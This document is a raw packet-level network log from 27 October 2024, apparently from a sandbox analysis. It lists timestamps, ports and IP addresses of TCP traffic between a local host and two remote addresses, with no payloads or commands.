Oct 27, 2024 07:59:17.059531927 CET	443	49744	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:17.059639931 CET	443	49744	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:17.059705973 CET	49744	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:17.060468912 CET	49744	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:17.060483932 CET	443	49744	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:17.060522079 CET	49744	443	192.168.2.6	172.67.170.64
Oct 27, 2024 07:59:17.060527086 CET	443	49744	172.67.170.64	192.168.2.6
Oct 27, 2024 07:59:17.064007044 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:17.069338083 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.069468975 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:17.069724083 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:17.075004101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.962383032 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.962429047 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.962460041 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.962461948 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:17.962477922 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.962495089 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.962511063 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.962527990 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:17.962541103 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.962558031 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.962558985 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:17.962577105 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.962593079 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.962667942 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:17.962667942 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:17.967895985 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.967911959 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:17.967956066 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.117496014 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.117558002 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.117635965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.117672920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.117708921 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.117742062 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.117770910 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.117770910 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.117933989 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.118122101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.118135929 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.118267059 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.118314028 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.118330956 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.118347883 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.118364096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.118379116 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.118524075 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.118524075 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.119055033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.119096041 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.119174004 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.171504974 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.232516050 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.232549906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.232609987 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.232610941 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.232640982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.232669115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.232697964 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.232760906 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.232760906 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.233247995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.233277082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.233304977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.233361006 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.233601093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.233663082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.233675003 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.233692884 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.233721972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.233858109 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.272022009 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.272058010 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.272250891 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.312072992 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.347898960 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.347953081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.347969055 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.347982883 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.347995043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.348012924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.348254919 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.348329067 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.348447084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.348462105 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.348481894 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.348490953 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.348507881 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.348526001 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.348526955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.348594904 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.349303007 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.349572897 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.430170059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.430185080 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.430567026 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.462934017 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.463018894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.463063955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.463126898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.463140011 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.463157892 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.463160992 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.463177919 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.463193893 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.463215113 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.463946104 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.463979006 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.463993073 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.464027882 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.464041948 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.464319944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.464371920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.464390039 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.464400053 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.464459896 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.464476109 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.464674950 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.515177965 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.545334101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.545348883 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.546061039 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.578723907 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.578741074 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.578756094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.578773022 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.578788996 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.578823090 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.578872919 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.578882933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.578911066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.578919888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.578991890 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.579015970 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.579905987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.579921961 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.579951048 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.579965115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.579979897 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.580038071 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.580051899 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.580051899 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.660500050 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.660516977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.661077023 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.693578005 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.693612099 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.693627119 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.693655968 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.693670988 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.693883896 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.693981886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.694123030 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.694156885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.694184065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.694201946 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.694361925 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.694683075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.694727898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.694736004 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.694756031 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.694776058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.694791079 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.694859028 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.694880009 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.695377111 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.695446968 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.695628881 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.775731087 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.775746107 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.775957108 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.808856010 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.808873892 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.808954954 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.809050083 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.809066057 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.809081078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.809096098 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.809175014 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.809190035 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.809318066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.809334040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.809350014 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.809365034 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.809406042 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.809421062 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.809890032 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.809906960 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.809923887 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.809971094 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.809974909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.809992075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.810036898 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.859047890 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.890991926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.891006947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.891319990 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.924173117 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.924190998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.924207926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.924221992 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.924238920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.924340010 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.924360991 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.924470901 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.924487114 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.924515963 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.924530983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.924535990 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.924549103 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.924560070 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.924568892 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.924596071 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.925442934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.925494909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.925522089 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.925537109 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.925554991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:18.925590038 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.925605059 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:18.925605059 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.039269924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.039285898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.039309978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.039339066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.039352894 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.039355993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.039372921 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.039392948 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.039532900 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.039804935 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.039879084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.039935112 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.040009975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.040047884 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.040062904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.040076971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.040129900 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.040194035 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.040589094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.040618896 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.040643930 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.040658951 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.040673971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.040688992 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.040695906 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.040728092 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.040728092 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.041596889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.041613102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.041626930 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.041678905 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.154613972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.154648066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.154664993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.154695034 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.154707909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.154723883 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.154896975 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.154896975 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.154896975 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.154967070 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.154998064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.155013084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.155029058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.155047894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.155112982 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.155112982 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.155587912 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.155620098 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.155635118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.155764103 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.155781984 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.156009912 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.156125069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.156138897 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.156153917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.156168938 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.156183958 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.156198025 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.156212091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.156212091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.156250000 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.156774044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.156914949 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.269839048 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.269864082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.269881010 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.269925117 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.269977093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.270011902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.270037889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.270052910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.270066977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.270118952 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.270133972 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.270147085 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.270564079 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.270596027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.270608902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.270654917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.270669937 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.270669937 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.270689964 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.270698071 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.270711899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.270744085 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.271177053 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.271219969 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.271244049 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.271260023 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.271287918 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.271301985 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.271327019 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.271351099 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.271363020 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.312134027 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.385086060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385101080 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385116100 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385171890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385194063 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385205984 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.385226011 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385241985 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385257959 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385330915 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.385332108 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.385345936 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.385731936 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385745049 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385823011 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.385929108 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385945082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385961056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.385977983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.386257887 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.386269093 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.386286974 CET	49750	80	192.168.2.6	185.215.113.16
